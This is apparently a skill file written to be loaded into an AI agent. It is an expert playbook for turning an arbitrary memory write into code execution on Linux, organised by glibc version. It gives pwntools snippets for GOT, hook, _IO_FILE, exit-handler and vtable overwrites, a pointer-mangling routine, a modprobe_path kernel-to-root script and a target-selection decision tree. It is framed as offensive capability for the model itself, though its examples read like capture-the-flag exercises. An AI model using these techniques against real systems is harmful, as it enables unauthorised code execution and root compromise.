SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.

0. RELATED ROUTING

heap-exploitation — obtaining the arbitrary write via heap attacks
format-string-exploitation — obtaining the arbitrary write via %n
stack-overflow-and-rop — stack-based write primitives
binary-protection-bypass — which targets are available given protection configuration
heap-exploitation IO_FILE_EXPLOITATION.md — deep _IO_FILE structure exploitation

1. TARGET SELECTION BY GLIBC VERSION

Target	glibc < 2.24	2.24–2.33	≥ 2.34	Required Knowledge
GOT overwrite	OK (Partial RELRO)	OK (Partial RELRO)	OK (Partial RELRO)	Binary base
`__malloc_hook`	OK	OK	Removed	libc base
`__free_hook`	OK	OK	Removed	libc base
`__realloc_hook`	OK	OK	Removed	libc base
`_IO_FILE` vtable (direct)	OK	Vtable range check	Vtable range check	libc base + heap
`_IO_FILE` via `_IO_str_jumps`	N/A	OK (2.24–2.27)	Patched	libc base + heap
`_IO_FILE` via `_IO_wfile_jumps`	N/A	OK (≥ 2.28)	OK	libc base + heap
`__exit_funcs`	OK	OK	OK	libc base + pointer guard
`TLS_dtor_list`	N/A	N/A	OK	TLS addr + pointer guard
`_dl_fini` / link_map	OK	OK	OK	ld.so base
`modprobe_path` (kernel)	OK	OK	OK	Kernel base
`.fini_array`	OK	OK	OK	Binary base (if writable)
C++ vtable	OK	OK	OK	Object address + heap
`setcontext` gadget	OK	OK (changed in 2.29)	OK	libc base
Stack return address	Always	Always	Always	Stack address

2. GOT OVERWRITE

Replace a function pointer in the Global Offset Table.

Requirements

Partial RELRO (.got.plt writable) — Full RELRO blocks this entirely

Common Targets

Overwrite From	Overwrite To	Trigger
`printf@GOT`	`system`	Next `printf(user_input)` with input = `/bin/sh`
`free@GOT`	`system`	Next `free(ptr)` where ptr points to `"/bin/sh"`
`strlen@GOT`	`system`	Next `strlen(user_input)`
`atoi@GOT`	`system`	Next `atoi(user_input)` with input = `"sh"`
`puts@GOT`	`system`	Next `puts(user_input)`
`exit@GOT`	`main` or gadget	Create loop for multi-shot exploit
`__stack_chk_fail@GOT`	`ret` gadget	Neutralize canary check

# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})

# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address → write system address

3. __malloc_hook / __free_hook (glibc < 2.34)

__malloc_hook

# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c')  # printf calls malloc internally for large format

__free_hook

# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free it

Realloc Trick for one_gadget Constraints

# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2)  # +2, +4, +6 etc. to adjust

4. _IO_FILE VTABLE

See IO_FILE_EXPLOITATION.md for full details.

Quick Summary by Version

glibc	Method	Vtable Target
< 2.24	Direct vtable overwrite	Point vtable to fake table with `system` at `__overflow` offset
2.24–2.27	`_IO_str_jumps`	Within valid range; `_IO_str_finish` calls `_s._free_buffer`
≥ 2.28	`_IO_wfile_jumps`	Wide-char path: `_wide_data->_wide_vtable` not range-checked
≥ 2.35	House of Cat	`_IO_wfile_seekoff` → `_IO_switch_to_wget_mode` → fake wide vtable call

FSOP Trigger

# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW

5. __exit_funcs / __atexit

// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
//   stored = ROL(ptr ^ __pointer_chk_guard, 0x11)

Exploitation

# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
    return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff

# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main

Without Pointer Guard Knowledge

If you can overwrite both the function pointer AND the pointer guard (in TLS at fs:[0x30]):

Set pointer guard to 0
Set function pointer to ROL(target, 0x11)
Demangling: ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target

6. TLS_dtor_list (glibc ≥ 2.34)

Thread-local destructor list — the primary post-2.34 target.

// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)

Location

TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force

Exploitation

# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr)  # func (mangled with pointer guard)
entry += p64(arg_value)         # obj (passed as argument to func)
entry += p64(0)                 # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)

7. _dl_fini / LINK_MAP CORRUPTION

Attack Vector

During exit(), _dl_fini iterates the link_map list and calls DT_FINI_ARRAY entries.

// In _dl_fini:
for each loaded library (link_map entry):
    if l_info[DT_FINI_ARRAY]:
        array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
        for each entry in array:
            entry()  // call destructor

Exploitation

Corrupt a link_map entry's l_addr (relocation base) to shift the FINI_ARRAY pointer
Or corrupt l_info[DT_FINI_ARRAY] to point to fake array
Fake array contains target function pointer (system, one_gadget)
Trigger: exit() → _dl_fini → calls fake destructor

Advantage: No pointer mangling (function pointers in FINI_ARRAY are not mangled).

8. modprobe_path (KERNEL)

Overwrite the kernel's modprobe_path to execute arbitrary commands as root.

# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
#    with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')

# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x

# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → kernel calls modprobe_path ("/tmp/x") as root

See kernel-exploitation for kernel write primitives.

9. .fini_array

Overwrite destructor function pointers called during normal program exit.

# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)

# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploit

Limitation: .fini_array may be read-only in Full RELRO binaries.

10. C++ VTABLE OVERWRITE

// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers

// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...

# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0)              # offset -0x10 (RTTI info)
fake_vtable += p64(0)             # offset -0x08 (RTTI info)
fake_vtable += p64(target_func)   # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func)   # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object

11. setcontext GADGET

setcontext in libc loads registers from a ucontext_t structure — useful as a pivot gadget.

glibc < 2.29

// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full control

glibc ≥ 2.29

// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]

# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret → ROP continues

# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext

12. DECISION TREE

You have an arbitrary write primitive. What to target?

├── What's the RELRO level?
│   ├── None / Partial → GOT overwrite (simplest, most reliable)
│   │   └── printf→system, free→system, atoi→system
│   └── Full RELRO → GOT read-only, choose alternative:
│
├── What glibc version?
│   ├── < 2.34 (hooks available)
│   │   ├── __free_hook = system → free("/bin/sh") [easiest]
│   │   ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│   │   └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│   │
│   ├── ≥ 2.34 (no hooks)
│   │   ├── Know pointer guard (fs:[0x30])?
│   │   │   ├── YES → __exit_funcs or TLS_dtor_list
│   │   │   └── NO → overwrite pointer guard to 0 first, then exit_funcs
│   │   ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│   │   │   └── Need: libc base + heap address + controllable FILE structure
│   │   ├── _dl_fini link_map corruption
│   │   │   └── Need: ld.so base address
│   │   └── .fini_array (if writable)
│   │       └── Need: binary base (no PIE, or PIE base leaked)
│   │
│   └── Any version
│       ├── Stack return address (if stack address known)
│       └── C++ vtable (if targeting C++ object with virtual functions)
│
├── Kernel write primitive?
│   ├── modprobe_path (simplest kernel→root)
│   ├── core_pattern (/proc/sys/kernel/core_pattern)
│   └── Direct cred structure overwrite
│
└── Need to chain read → write → execute?
    └── setcontext gadget: arbitrary write → pivot RSP → ROP chain
        ├── glibc < 2.29: setcontext+53 (uses RDI)
        └── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)

arbitrary-write-to-rce

SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook

0. RELATED ROUTING

1. TARGET SELECTION BY GLIBC VERSION

2. GOT OVERWRITE

Requirements

Common Targets

3. __malloc_hook / __free_hook (glibc < 2.34)

__malloc_hook

__free_hook

Realloc Trick for one_gadget Constraints

4. _IO_FILE VTABLE

Quick Summary by Version

FSOP Trigger

5. __exit_funcs / __atexit

Exploitation

Without Pointer Guard Knowledge

6. TLS_dtor_list (glibc ≥ 2.34)

Location

Exploitation

7. _dl_fini / LINK_MAP CORRUPTION

Attack Vector

Exploitation

8. modprobe_path (KERNEL)

9. .fini_array

10. C++ VTABLE OVERWRITE

11. setcontext GADGET

glibc < 2.29

glibc ≥ 2.29

12. DECISION TREE